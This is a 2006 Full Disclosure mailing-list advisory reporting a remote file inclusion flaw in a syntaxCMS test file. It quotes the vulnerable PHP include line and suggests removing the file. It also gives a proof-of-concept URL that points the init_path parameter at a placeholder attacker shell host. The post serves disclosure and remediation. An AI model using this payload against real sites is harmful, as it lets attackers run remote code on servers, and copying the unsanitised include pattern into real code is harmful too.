Full Disclosure mailing list archives
Remote File Include in syntaxCMS
From: "MoHaJaLi" <mohajali2k4 () gmail com>
Date: Sun, 24 Sep 2006 11:49:21 -0700
Remote File Include in syntaxCMS Vulnerable File: 0004_init_urls.php Vulnerable Code: 1 <?php 2 include_once( $init_path . '/init.urls.php' ); 3 ?> PoC: http://www.poweredbysyntaxcmssite.com/admin/testing/tests/0004_init_urls.php?init_path=http://YourShell?& Solution: Remove This File...it's not needed...just used for tests ____ Found by MoHaJaLi Greetz to Eddy_BAck0o ____ _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Current thread:
- Remote File Include in syntaxCMS MoHaJaLi (Sep 24)